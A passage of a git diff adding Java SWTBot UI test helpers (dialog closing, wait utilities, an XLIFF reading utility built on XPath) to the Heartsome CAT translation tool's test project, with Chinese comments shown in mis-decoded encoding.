关掉多余的对è¯æ¡†ï¼Œä»¥é¿å…å½±å“åŽé¢æ‰§è¡Œçš„用例; + */ + public static void closeDialogs() { + SWTBotShell[] shells = HSBot.bot().shells(); + int len = shells.length; + if (len > 1) { + org.eclipse.swtbot.swt.finder.utils.SWTBotPreferences.TIMEOUT = 1000; // å‡å°‘等待时间 + for (int i = len - 1; i >= 1; i--) { + try { + if (shells[i].bot().button(TsUIConstants.getString("btnCancel")).isActive()) { + shells[i].bot().button(TsUIConstants.getString("btnCancel")).click(); + } + } catch (WidgetNotFoundException e1) { + try { + if (shells[i].bot().button(TsUIConstants.getString("btnOK")).isActive()) { + shells[i].bot().button(TsUIConstants.getString("btnOK")).click(); + } + } catch (WidgetNotFoundException e2) { + try { + if (shells[i].bot().button(TsUIConstants.getString("btnClose")).isActive()) { + shells[i].bot().button(TsUIConstants.getString("btnClose")).click(); + } else { + shells[i].close(); + } + } catch (WidgetNotFoundException e3) { + shells[i].close(); + } + } + } + } + org.eclipse.swtbot.swt.finder.utils.SWTBotPreferences.TIMEOUT = 5000; // æ¢å¤é»˜è®¤çš„超时时间 + } + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/tasks/Waits.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/tasks/Waits.java new file mode 100644 index 0000000..d152423 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/tasks/Waits.java @@ -0,0 +1,85 @@ +package net.heartsome.cat.ts.test.ui.tasks; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.cat.ts.test.ui.waits.IsProjectExist; +import net.heartsome.cat.ts.test.ui.waits.IsProjectNotExist; +import net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.swtbot.waits.IsProjectDirExist; +import net.heartsome.test.swtbot.waits.IsProjectDirNotExist; +import net.heartsome.test.swtbot.waits.IsShellClosed; + +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotShell; +import org.hamcrest.core.IsEqual; + +/** + * @author felix_lu + * @version + * @since JDK1.6 + */ +public final class Waits { + + private static SWTBot bot = HSBot.bot(); + + /** + * + */ + private Waits() { + } + + /** + * 等待项目在项目导航树上出现 + * @param prjName + * 项目å称 ; + */ + public static void prjExistOnTree(String prjName) { + bot.waitUntil(new IsProjectExist(prjName)); + } + + /** + * 等待项目从项目导航树上消失 + * @param prjName + * 项目å称 ; + */ + public static void prjNotExistOnTree(String prjName) { + bot.waitUntil(new IsProjectNotExist(prjName)); + } + + /** + * 等待项目目录在工作空间中出现 + * @param prjName + * ; + */ + public static void prjExistInWorkspace(String prjName) { + bot.waitUntil(new IsProjectDirExist(prjName)); + } + + /** + * 等待项目目录从工作空间中消失 + * @param prjName + * ; + */ + public static void prjNotExistInWorkspace(String prjName) { + bot.waitUntil(new IsProjectDirNotExist(prjName)); + } + + /** + * 等待对è¯æ¡†å…³é—­ + * @param shell + * 对è¯æ¡† ; + */ + public static void shellClosed(SWTBotShell shell) { + bot.waitUntil(new IsShellClosed(new IsEqual(shell.widget))); + } + + /** + * 判断当å‰æ¿€æ´»çš„对è¯æ¡†æ˜¯å¦ä¸ºè¿›åº¦å¯¹è¯æ¡†ï¼Œè‹¥æ˜¯åˆ™ç­‰å¾…其关闭,å¦åˆ™ä¸åšä»»ä½•äº‹ ; + */ + public static void progressFinished() { + SWTBotShell dlg = bot.activeShell(); + if (dlg.getText().equals(TsUIConstants.getString("dlgTitleProgressInformation"))) { + shellClosed(dlg); + } + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/utils/XliffUtil.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/utils/XliffUtil.java new file mode 100644 index 0000000..bc1190f --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/utils/XliffUtil.java @@ -0,0 +1,883 @@ +package net.heartsome.cat.ts.test.ui.utils; + +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.innertag.TagStyle; +import net.heartsome.cat.common.ui.utils.InnerTagUtil; +import net.heartsome.cat.ts.core.file.RowIdUtil; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import com.ximpleware.AutoPilot; +import com.ximpleware.NavException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * 通过文本段的 RowID 在对应的 XLIFF 文件中读å–相关内容。
    + * 使用了 HSCAT8 项目中的 net.heartsome.cat.ts.core.file.RowIdUtil å’Œ net.heartsome.xml.vtdimpl.VTDUtils 两个类。 + * @author felix_lu + */ +public class XliffUtil { + + private VTDGen vg; + private VTDUtils vu; + private String rowID; + private String xlfFile; + private String fileXPath; + private String tuid; + + /** + * 直接通过 RowID æ¥å®šä½ï¼Œé€‚用于最常è§çš„åœ¨ç•Œé¢ NatTable 中显示的文本段。 + * @param rowID + */ + public XliffUtil(String rowID) { + this.rowID = rowID; + this.xlfFile = RowIdUtil.getFileNameByRowId(rowID); + this.fileXPath = RowIdUtil.getFileXpathByRowId(rowID); + this.tuid = RowIdUtil.getTUIdByRowId(rowID); + this.vg = new VTDGen(); + if (vg.parseFile(xlfFile, true)) { + VTDNav vn = vg.getNav(); + try { + vu = new VTDUtils(vn); + } catch (NavException e) { + e.printStackTrace(); + } + } + } + + /** + * 通过å¯ç»„æˆ RowID 的三个å‚æ•°æ¥å®šä½ï¼Œé€‚用于ä¸åœ¨ç•Œé¢ NatTable 中显示的文本段, 如åˆå¹¶åŽå˜ä¸ºç©ºçš„ trans-unit 节点。 + * @param xlfFile + * XLIFF 文件路径 + * @param originalFile + * æºæ–‡ä»¶è·¯å¾„ï¼Œå»ºè®®ä»Žç›¸é‚»æ–‡æœ¬æ®µä¸­ç”¨æœ¬ç±»æ–¹æ³•èŽ·å– + * @param tuid + * 翻译å•å…ƒ ID + */ + public XliffUtil(String xlfFile, String originalFile, String tuid) { + this.xlfFile = xlfFile; + this.fileXPath = "/xliff/file[@original=\"" + originalFile + "\"]"; + this.tuid = tuid; + this.rowID = RowIdUtil.getRowId(xlfFile, originalFile, tuid); + this.vg = new VTDGen(); + if (vg.parseFile(xlfFile, true)) { + VTDNav vn = vg.getNav(); + try { + vu = new VTDUtils(vn); + } catch (NavException e) { + e.printStackTrace(); + } + } + } + + /* ******** Getter ******** */ + + /** + * @return ; + */ + public String getXlfFile() { + return xlfFile; + } + + /** + * @return ; + */ + public String getFileXPath() { + return fileXPath; + } + + /** + * @return String 当å‰å®žä¾‹çš„ tuid æˆå‘˜å˜é‡å€¼
    + * 请注æ„:该值å¯èƒ½å’Œ XLIFF 文件中的实际值ä¸ä¸€è‡´ï¼Œè‹¥è¦èŽ·å¾—文件中的属性值,应使用 getAttributeOfTU() 方法 + */ + public String getTUID() { + return tuid; + } + + /** + * @return ; + */ + public String getRowID() { + return rowID; + } + + /* * 一些与 rowID 无关的é™æ€æ–¹æ³• * */ + + /** + * @param xlfFile + * XLIFF 文件路径 + * @return VTDUtils + */ + public static VTDUtils getVU(String xlfFile) { + VTDGen vg = new VTDGen(); + if (vg.parseFile(xlfFile, true)) { + VTDNav vn = vg.getNav(); + try { + return new VTDUtils(vn); + } catch (NavException e) { + e.printStackTrace(); + } + } + return null; + } + + /** + * @param xlfFile + * XLIFF 文件路径 + * @return List<String> <file> 节点 original 属性值所组æˆçš„ List + */ + public static List getOriginalFiles(String xlfFile) { + return getOriginalFiles(getVU(xlfFile)); + } + + /** + * @param vu + * XLIFF 文件对应的 VTDUtils + * @return List<String> + */ + public static List getOriginalFiles(VTDUtils vu) { + ArrayList list = new ArrayList(); + String xpath = "/xliff/file"; + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + try { + ap.selectXPath(xpath); + while (ap.evalXPath() != -1) { + list.add(vu.getElementAttribute(".", "original")); + } + } catch (XPathParseException e) { + e.printStackTrace(); + } catch (XPathEvalException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } + return list; + } + + /** + * @param xlfFile + * XLIFF 文件路径 + * @return int <file> 节点的数é‡ï¼Œå³æºæ–‡ä»¶æ•°é‡ + */ + public static int fileCount(String xlfFile) { + return getOriginalFiles(xlfFile).size(); + } + + /** + * @param xlfFile + * @param includingNull + * 是å¦åŒ…括空节点 + * @return int trans-unit 节点数é‡ï¼ŒåŒ…括空节点 + */ + public static int tuCount(String xlfFile, boolean includingNull) { + String xpath = "/xliff/file"; + return tuCountOfFile(xlfFile, xpath, includingNull); + } + + /** + * @param xlfFile + * @param fileXPath + * @param includingNull + * 是å¦åŒ…括空节点 + * @return int 指定 file 节点下的 trans-unit èŠ‚ç‚¹æ•°é‡ + */ + public static int tuCountOfFile(String xlfFile, String filePath, boolean includingNull) { + VTDUtils vu = getVU(xlfFile); + if (includingNull) { + String xpath = "/xliff/file[@original=\"" + filePath + "\"]/body//trans-unit"; + return vu.getValues(xpath).size(); // 包括空节点 + } else { + int count = 0; + String xpath = "/xliff/file[@original=\"" + filePath + "\"]/body//trans-unit/source/text()"; + List srcTexts = vu.getValues(xpath); + for (String srcText : srcTexts) { + if (srcText != null && !srcText.equals("")) { + count++; // ä¸å«ç©ºèŠ‚点 + } + } + return count; + } + } + + /** + * @param xlfFile + * @param srcLang + * @param tgtLang + * @param includingNull + * @return int 指定语言对的 trans-unit 节点数é‡ï¼Œä»¥ file 节点的æºã€ç›®æ ‡è¯­è¨€ä¸ºå‡† + */ + public static int tuCountOfLangPair(String xlfFile, String srcLang, String tgtLang, boolean includingNull) { + VTDUtils vu = getVU(xlfFile); + List orgFiles = getOriginalFiles(vu); + int tuCount = 0; + for (String orgFile : orgFiles) { + String[] langPair = getLangPairOfFile(xlfFile, orgFile); + if (srcLang.equals(langPair[0]) && tgtLang.equals(langPair[1])) { + int count = tuCountOfFile(xlfFile, orgFile, includingNull); + tuCount += count; + } + } + return tuCount; + } + + /** + * @param xlfFile + * @param filePath + * @return String[] 第一个元素为æºè¯­è¨€ï¼Œç¬¬äºŒä¸ªä¸ºç›®æ ‡è¯­è¨€ + */ + public static String[] getLangPairOfFile(String xlfFile, String filePath) { + VTDUtils vu = getVU(xlfFile); + String xpath = "/xliff/file[@original=\"" + filePath + "\"]"; + String[] langPair = new String[2]; + try { + langPair[0] = vu.getElementAttribute(xpath, "source-language"); + langPair[1] = vu.getElementAttribute(xpath, "target-language"); + } catch (XPathParseException e) { + e.printStackTrace(); + } catch (XPathEvalException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } + return langPair; + } + + /** + * @param xlfFile + * @return List<String[]> ç”±æºã€ç›®æ ‡è¯­è¨€æ•°ç»„组æˆçš„ List + */ + public static List getAllLangPairs(String xlfFile) { + ArrayList langPairs = new ArrayList(); + List orgFiles = getOriginalFiles(xlfFile); + for (String orgFile : orgFiles) { // 查找æ¯ä¸ª 节点的æºã€ç›®æ ‡è¯­è¨€ + String[] langPair = getLangPairOfFile(xlfFile, orgFile); + if (langPairs.size() == 0) { // è‹¥ List 为空,直接添加 + langPairs.add(langPair); + } else { + boolean noRepeat = false; + for (String[] langP : langPairs) { // 对比 List 中已有的æ¯ä¸ªè¯­è¨€å¯¹ + if (langP[0].equals(langPair[0]) && langP[1].equals(langPair[1])) { + noRepeat = false; // åªè¦ List 中已有相åŒçš„语言对,就标记为é‡å¤ï¼ˆå¯èƒ½åœ¨ä¸Šä¸€è½®å¾ªçŽ¯ä¸­è®¤ä¸ºæ— é‡å¤ï¼‰ + break; // 并跳出循环 + } else { + noRepeat = true; + } + } + if (noRepeat) { // åªæœ‰åœ¨å¯¹æ¯”过 List 中所有语言对之åŽï¼ŒnoRepeat ä»ä¸º true,æ‰èƒ½ç¡®è®¤è¯¥è¯­è¨€å¯¹æ²¡æœ‰é‡å¤ + langPairs.add(langPair); + } + } + } + return langPairs; + } + + /** + * @param text + * 纯文本 + * @return String 简å•æ ‡è®°å½¢å¼æ˜¾ç¤ºçš„文本 + */ + public static String tagged(String text) { + StringBuffer t = new StringBuffer(text); + InnerTagUtil.parseXmlToDisplayValue(t, TagStyle.getDefault()); // TODO: 需è¦ä¿®æ”¹ç›¸å…³ä»£ç ï¼Œä½¿ä¹‹æ”¯æŒä¸åŒçš„标记样å¼ï¼Œè€Œä¸åªæ˜¯é»˜è®¤çš„ + return t.toString(); + } + + /* ******** 节点相关内容 ******** */ + + /** + * @return String æºæ–‡ä»¶è·¯å¾„,从 <file> 节点的 XPath ä¸­æˆªå– + */ + public String getOriginalFile() { + int fromIndex = fileXPath.indexOf("\"") + 1; + int toIndex = fileXPath.indexOf("\"", fromIndex); + return fileXPath.substring(fromIndex, toIndex); + } + + /** + * @param attribute + * 属性å称,å¯ä»¥ä¸ºï¼šoriginal source-language datatype tool tool-id date xml:space ts category target-language + * product-name product-version build-num + * @return String 属性值 + */ + public String getAttributeOfFile(String attribute) { + String xpath = RowIdUtil.getFileXpathByRowId(rowID); + try { + return vu.getElementAttribute(xpath, attribute); + } catch (XPathParseException e) { + e.printStackTrace(); + } catch (XPathEvalException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } + return null; + } + + /** + * @return List<String> å½“å‰ XLIFF 文件中所有 <file> 节点的 original 属性 + */ + public List getOriginalFiles() { + return getOriginalFiles(vu); + } + + /** + * @return String <file> 节点中的æºè¯­è¨€å±žæ€§å€¼ + */ + public String getSourceLangOfFile() { + return getAttributeOfFile("source-language"); + } + + /** + * @return String <file> 节点中的目标语言属性值; + */ + public String getTargetLangOfFile() { + return getAttributeOfFile("target-language"); + } + + /** + * @return boolean True 表示骨架内嵌 + */ + public boolean isSkeletonEmbed() { + String xpath = fileXPath + "/header/skl/internal-file"; + return vu.pilot(xpath) != -1; + } + + /** + * @return String 骨架文件路径 + */ + public String getSkeletonPath() { + if (isSkeletonEmbed()) { + return null; + } else { + String xpath = fileXPath + "/header/skl/external-file"; + try { + return vu.getElementAttribute(xpath, "href"); + } catch (XPathParseException e) { + e.printStackTrace(); + } catch (XPathEvalException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } + return null; + } + } + + /* ******** 节点相关内容 ******** */ + + /** + * @param attribute + * trans-unit 属性å称,å¯ä»¥ä¸ºï¼šid approved translate reformat xml:space datatype ts phase-name restype resname + * extradata help-id menu menu-option menu-name coord font css-style style exstyle extype maxbytes + * minbytes size-unit maxheight minheight maxwidth minwidth charclass + * @return String 属性值 + */ + + public String getAttributeOfTU(String attribute) { + String xpath = fileXPath + "/body//trans-unit[@id=\"" + tuid + "\"]"; + try { + return vu.getElementAttribute(xpath, attribute); + } catch (XPathParseException e) { + e.printStackTrace(); + } catch (XPathEvalException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } + return null; + } + + /** + * @return boolean True 表示å¯ç¿»è¯‘ + */ + public boolean tuIsTranslatable() { + String value = getAttributeOfTU("translate"); + return "yes".equals(value); + } + + /** + * @return boolean True 表示已批准 + */ + public boolean tuIsApproved() { + String value = getAttributeOfTU("approved"); + return "yes".equals(value); + } + + /** + * @return boolean True å¯ä»¥ç¼–辑,å³æœªæ‰¹å‡†ã€æœªé”定 + */ + public boolean tuIsEditable() { + return tuIsTranslatable() && !tuIsApproved(); + } + + /** + * @return String size å•ä½ + */ + public String getTUSizeUnit() { + return getAttributeOfTU("size-unit"); + } + + /** + * @return String 最大宽度,å³æœ€å¤§å­—符长度 + */ + public String getTUMaxWidth() { + return getAttributeOfTU("maxwidth"); + } + + /** + * @return String 最å°å®½åº¦ï¼Œå³æœ€å°‘字符长度 + */ + public String getTUMinWidth() { + return getAttributeOfTU("minwidth"); + } + + /** + * @return String åŒä¸€ä¸ª 节点中下一个éžç©º trans-unit 节点的 tuid + */ + // public String tuidOfNextNotNullTU() { + // String nTUID; + // String xpath = fileXPath + "/body//trans-unit[@id=\"" + tuid + "\"]"; + // AutoPilot ap = new AutoPilot(vu.getVTDNav()); + // try { + // ap.selectXPath(xpath); + // + // } catch (XPathParseException e) { + // e.printStackTrace(); + // } + // + // + // return nTUID; + // } + + /** + * @return XliffUtil XLIFF 文件中当å‰æ–‡æœ¬æ®µçš„下一文本段对应的 XliffUtil 对象,若无则为 null + */ + public XliffUtil getNextXU() { + List tuids = getAllTuIds(); + int size = tuids.size(); + int index = tuids.indexOf(tuid); + XliffUtil nextXU = null; + if (index < size - 1) { + int newIndex = index + 1; + nextXU = new XliffUtil(xlfFile, getOriginalFile(), tuids.get(newIndex)); + } + return nextXU; + } + + /** + * @return XliffUtil XLIFF 文件中当å‰æ–‡æœ¬æ®µçš„下一éžç©ºæ–‡æœ¬æ®µå¯¹åº”çš„ XliffUtil 对象, 若找到的文本段æºæ–‡æœ¬å†…容为 null 或空字符串,则继续查找下一个,直到找到éžç©ºæ–‡æœ¬æ®µæˆ– 到达 file + * 节点末尾为止,若未找到éžç©ºæ–‡æœ¬æ®µåˆ™è¿”回 null + */ + public XliffUtil getNextNotNullXU() { + XliffUtil nextXU = getNextXU(); + if (nextXU != null) { + String nextSourceText = nextXU.getSourceText(); + if (nextSourceText != null && !"".equals(nextSourceText)) { + return nextXU; + } else { + return nextXU.getNextNotNullXU(); + } + } else { + return null; + } + } + + /** + * @return XliffUtil XLIFF 文件中当å‰æ–‡æœ¬æ®µçš„上一文本段对应的 XliffUtil 对象,若无则为 null + */ + public XliffUtil getPrevXU() { + List tuids = getAllTuIds(); + int index = tuids.indexOf(tuid); + XliffUtil prevXU = null; + if (index > 0) { + int newIndex = index - 1; + prevXU = new XliffUtil(xlfFile, getOriginalFile(), tuids.get(newIndex)); + } + return prevXU; + } + + /** + * @return XliffUtil XLIFF 文件中当å‰æ–‡æœ¬æ®µçš„上一éžç©ºæ–‡æœ¬æ®µå¯¹åº”çš„ XliffUtil 对象, 若找到的文本段æºæ–‡æœ¬å†…容为 null 或空字符串,则继续查找上一个,直到找到éžç©ºæ–‡æœ¬æ®µæˆ– 到达 file + * 节点起始ä½ç½®ä¸ºæ­¢ï¼Œè‹¥æœªæ‰¾åˆ°éžç©ºæ–‡æœ¬æ®µåˆ™è¿”回 null + */ + public XliffUtil getPrevNotNullXU() { + XliffUtil prevXU = getPrevXU(); + if (prevXU != null) { + String prevSourceText = prevXU.getSourceText(); + if (prevSourceText != null && !"".equals(prevSourceText)) { + return prevXU; + } else { + return prevXU.getPrevNotNullXU(); + } + } else { + return null; + } + } + + /** + * @return List<String> 包å«å½“å‰ file 节点下所有 trans-unit 节点的 id 属性值 + */ + public List getAllTuIds() { + String xpath = fileXPath + "/body"; + if (vu.pilot(xpath) != -1) { + return vu.getValues("descendant::trans-unit/@id"); + // ä¸èƒ½ç›´æŽ¥ç”¨ /body//trans-unit å½¢å¼çš„ XPath,å¦åˆ™åœ¨æœ‰ group 节点时会打乱找到的trans-unit id é¡ºåº + } + return null; + } + + /* ******** 节点相关内容 ******** */ + + /** + * @param attribute + * group 属性å称,å¯ä»¥ä¸º id, datatype, xml:space, ts, restype, resname, extradata, help-id, menu, menu-option, + * menu-name, coord, font, css-style, style, exstyle, extype, translate, reformat, maxbytes, minbytes, + * size-unit, maxheight, minheight, maxwidth, minwidth, charclass, merged-trans + * @return String 属性值 + */ + public String getAttributeOfGroup(String attribute) { + String tuXPath = fileXPath + "/body//trans-unit[@id=\"" + tuid + "\"]"; + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + if (vu.pilot(ap, tuXPath) != -1) { + return vu.getValue(ap, "parent::group/@" + attribute); + } + return null; + } + + /* ******** 节点相关内容 ******** */ + + /** + * @param attribute + * <source> 属性å称,å¯ä»¥ä¸ºï¼šxml:lang ts + * @return String 属性值 + */ + public String getAttributeOfTUSource(String attribute) { + String xpath = fileXPath + "/body//trans-unit[@id=\"" + tuid + "\"]/source"; + try { + return vu.getElementAttribute(xpath, attribute); + } catch (XPathParseException e) { + e.printStackTrace(); + } catch (XPathEvalException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } + return null; + } + + /** + * @param attribute + * <target> 属性å称,å¯ä»¥ä¸ºï¼šstate state-qualifier phase-name xml:lang ts restype resname coord font + * css-style style exstyle equiv-trans + * @return String 属性值 + */ + public String getAttributeOfTUTarget(String attribute) { + String xpath = fileXPath + "/body//trans-unit[@id=\"" + tuid + "\"]/target"; + try { + return vu.getElementAttribute(xpath, attribute); + } catch (XPathParseException e) { + e.printStackTrace(); + } catch (XPathEvalException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } + return null; + } + + /** + * @param status + * 状æ€ï¼Œå¯ä¸º final, needs-adaptation, needs-l10n, needs-review-adaptation, needs-review-l10n, + * needs-review-translation, needs-translation, new, signed-off, translated + * @return boolean True 表示目标文本状æ€ç›¸ç¬¦ + */ + public boolean targetStatusIs(String status) { + String value = getAttributeOfTUTarget("state"); + return (status == null && value == null || status.equals(value)); + } + + /** + * @return String 目标文本状æ€ï¼Œæ— ç›®æ ‡æ–‡æœ¬æ—¶ä¸º null + */ + public String getTargetStatus() { + return getAttributeOfTUTarget("state"); + } + + /** + * @return String æºæ–‡æœ¬å†…容 + */ + public String getSourceText() { + String xpath = fileXPath + "/body//trans-unit[@id=\"" + tuid + "\"]/source/text()"; + return vu.getValue(xpath); + } + + /** + * @return String 简å•æ ‡è®°å½¢å¼æ˜¾ç¤ºçš„æºæ–‡æœ¬å†…容 + */ + public String getSourceTextTagged() { + String text = getSourceText(); + if (text == null) { + return null; + } else { + return tagged(text); + } + } + + /** + * @return String 目标文本内容 + */ + public String getTargetText() { + String xpath = fileXPath + "/body//trans-unit[@id=\"" + tuid + "\"]/target/text()"; + return vu.getValue(xpath); + } + + /** + * @return String 简å•æ ‡è®°å½¢å¼æ˜¾ç¤ºçš„目标文本内容 + */ + public String getTargetTextTagged() { + String text = getTargetText(); + if (text == null) { + return null; + } else { + return tagged(text); + } + } + + /** + * @return String æºè¯­è¨€ä»£ç  + */ + public String getTUSourceLang() { + return getAttributeOfTUSource("xml:lang"); + } + + /** + * @return String ç›®æ ‡è¯­è¨€ä»£ç  + */ + public String getTUTargetLang() { + return getAttributeOfTUTarget("xml:lang"); + } + + /* ******** 节点相关内容 ******** */ + + /** + * @param index + * alt-trans ç´¢å¼•å· + * @param attribute + * 属性å称,å¯ä»¥ä¸ºï¼šmid match-quality tool tool-id crc xml:lang datatype xml:space ts restype resname extradata + * help-id menu menu-option menu-name coord font css-style style exstyle extype origin phase-name + * alttranstype + * @return String 属性值 + */ + public String getAttributeOfAltTrans(int index, String attribute) { + String xpath = fileXPath + "/body//trans-unit[@id=\"" + tuid + "\"]/alt-trans[" + String.valueOf(index) + "]"; + try { + return vu.getElementAttribute(xpath, attribute); + } catch (XPathParseException e) { + e.printStackTrace(); + } catch (XPathEvalException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } + return null; + } + + /** + * @param index + * <alt-trans> ç´¢å¼•å· + * @return boolean True 表示该匹é…æ¥è‡ª TM + */ + public boolean altTransIsTMMatch(int index) { // FIXME 实现已改,需è¦è°ƒæ•´ + return !"XLFEditor auto-Quick Translation".equals(getAltTransToolID(index)) + && !"Google Translate".equals(getAltTransOrigin(index)) + && !"style:ITALIC".equals(getAltTransFont(index)); + } + + /** + * @param index + * <alt-trans> ç´¢å¼•å· + * @return boolean True 表示该匹é…为快速翻译 + */ + public boolean altTransIsQuickTranslation(int index) { // FIXME 实现已改,需è¦è°ƒæ•´ + return "XLFEditor auto-Quick Translation".equals(getAltTransToolID(index)) + && !"Google Translate".equals(getAltTransOrigin(index)) + && !"style:ITALIC".equals(getAltTransFont(index)); + } + + /** + * @param index + * <alt-trans> ç´¢å¼•å· + * @return boolean True 表示该匹é…为 Google 机器翻译 + */ + public boolean altTransIsGoogleTranslation(int index) { // FIXME 实现已改,需è¦è°ƒæ•´ + return "XLFEditor auto-Quick Translation".equals(getAltTransToolID(index)) + && "Google Translate".equals(getAltTransOrigin(index)) && "style:ITALIC".equals(getAltTransFont(index)); + } + + /** + * @param index + * <alt-trans> ç´¢å¼•å· + * @return String 匹é…æ¥æº origin 属性值 + */ + public String getAltTransOrigin(int index) { + return getAttributeOfAltTrans(index, "origin"); + } + + /** + * @param index + * <alt-trans> ç´¢å¼•å· + * @return String 工具 tool-id 属性值 + */ + public String getAltTransToolID(int index) { + return getAttributeOfAltTrans(index, "tool-id"); + } + + /** + * @param index + * <alt-trans> ç´¢å¼•å· + * @return String 字体 font 属性值 + */ + public String getAltTransFont(int index) { + return getAttributeOfAltTrans(index, "font"); + } + + /** + * @param index + * <alt-trans> ç´¢å¼•å· + * @return int 匹é…率 + */ + public int getAltTransMatchQuality(int index) { + String value = getAttributeOfAltTrans(index, "match-quality"); + if (value.contains("%")) { + value = value.replace("%", ""); + } + return Integer.valueOf(value); + } + + /** + * @return int ä¸æŒ‡å®š <alt-trans> 索引å·æ—¶ï¼Œè¿”回第一个匹é…率 + */ + public int getAltTransMatchQuality() { + return getAltTransMatchQuality(0); + } + + /** + * @return List<String> 翻译匹é…æºæ–‡æœ¬ + */ + public List getAltTransSources() { + String xpath = fileXPath + "/body//trans-unit[@id=\"" + tuid + "\"]/alt-trans/source/text()"; + return vu.getValues(xpath); + } + + /** + * @param index + * <alt-trans> ç´¢å¼•å· + * @return String <alt-trans> æºæ–‡æœ¬å†…容 + */ + public String getAltTransSource(int index) { + String xpath = fileXPath + "/body//trans-unit[@id=\"" + tuid + "\"]/alt-trans[" + String.valueOf(index) + + "]/source/text()"; + return vu.getValue(xpath); + } + + /** + * @return String ä¸æŒ‡å®šç´¢å¼•å·æ—¶ï¼Œè¿”回第一个 <alt-trans> æºæ–‡æœ¬å†…容 + */ + public String getAltTransSource() { + return getAltTransSource(0); + } + + /** + * @return List<String> 翻译匹é…目标文本 + */ + public List getAltTransTargets() { + String xpath = fileXPath + "/body//trans-unit[@id=\"" + tuid + "\"]/alt-trans/target/text()"; + return vu.getValues(xpath); + } + + /** + * @param index + * <alt-trans> ç´¢å¼•å· + * @return String <alt-trans> 目标文本内容 + */ + public String getAltTransTarget(int index) { + String xpath = fileXPath + "/body//trans-unit[@id=\"" + tuid + "\"]/alt-trans[" + String.valueOf(index) + + "]/target/text()"; + return vu.getValue(xpath); + } + + /** + * @return String ä¸æŒ‡å®šç´¢å¼•å·æ—¶ï¼Œè¿”回第一个 <alt-trans> 目标文本内容 + */ + public String getAltTransTarget() { + return getAltTransTarget(0); + } + + /** + * @param mq + * 匹é…率 + * @return List<String> 翻译匹é…æºæ–‡æœ¬ + */ + public List getAltTransSourcesByMatchQuality(int mq) { + String xpath1 = fileXPath + "/body//trans-unit[@id=\"" + tuid + "\"]/alt-trans[@match-quality=\"" + + String.valueOf(mq) + "\"]/source/text()"; + String xpath2 = fileXPath + "/body//trans-unit[@id=\"" + tuid + "\"]/alt-trans[@match-quality=\"" + + String.valueOf(mq) + "%\"]/source/text()"; + List list = vu.getValues(xpath1); + if (list.size() != 0) { + return list; + } else { + return vu.getValues(xpath2); + } + } + + /** + * @param mq + * 匹é…率 + * @return List<String> 翻译匹é…目标文本 + */ + public List getAltTransTargetsByMatchQuality(int mq) { + String xpath1 = fileXPath + "/body//trans-unit[@id=\"" + tuid + "\"]/alt-trans[@match-quality=\"" + + String.valueOf(mq) + "\"]/target/text()"; + String xpath2 = fileXPath + "/body//trans-unit[@id=\"" + tuid + "\"]/alt-trans[@match-quality=\"" + + String.valueOf(mq) + "%\"]/target/text()"; + List list = vu.getValues(xpath1); + if (list.size() != 0) { + return list; + } else { + return vu.getValues(xpath2); + } + } + + /* ******** 节点相关内容 ******** */ + + /** + * @return List<String> 所有 note 内容 + */ + public List getTUNotes() { + String xpath = fileXPath + "/body//trans-unit[@id=\"" + tuid + "\"]/note/text()"; + return vu.getValues(xpath); + } + + /** + * @param noteIndex + * note 索引 + * @return String 指定索引å·çš„ note 内容 + */ + public String getTUNote(int noteIndex) { + String xpath = fileXPath + "/body//trans-unit[@id=\"" + tuid + "\"]/note[" + String.valueOf(noteIndex) + + "]/text()"; + return vu.getValue(xpath); + } + + /** + * @return String ä¸æŒ‡å®š note 索引时,默认返回第一个 note 内容 + */ + public String getTUNote() { + return getTUNote(0); + } +} \ No newline at end of file diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/views/DocumentPropertiesView.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/views/DocumentPropertiesView.java new file mode 100644 index 0000000..611e629 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/views/DocumentPropertiesView.java @@ -0,0 +1,175 @@ +package net.heartsome.cat.ts.test.ui.views; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.utils.HSBot; + +import org.eclipse.swtbot.eclipse.finder.widgets.SWTBotView; +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotButton; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotCombo; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotTable; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotTableColumn; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotText; + +/** + * 视图:文档属性,å•ä¾‹æ¨¡å¼ + * @author felix_lu + * @version + * @since JDK1.6 + */ +public final class DocumentPropertiesView extends SWTBotView { + + private SWTBot viewBot = this.bot(); + private static SWTBotView view; + + /** + * 按标题查找视图 + */ + private 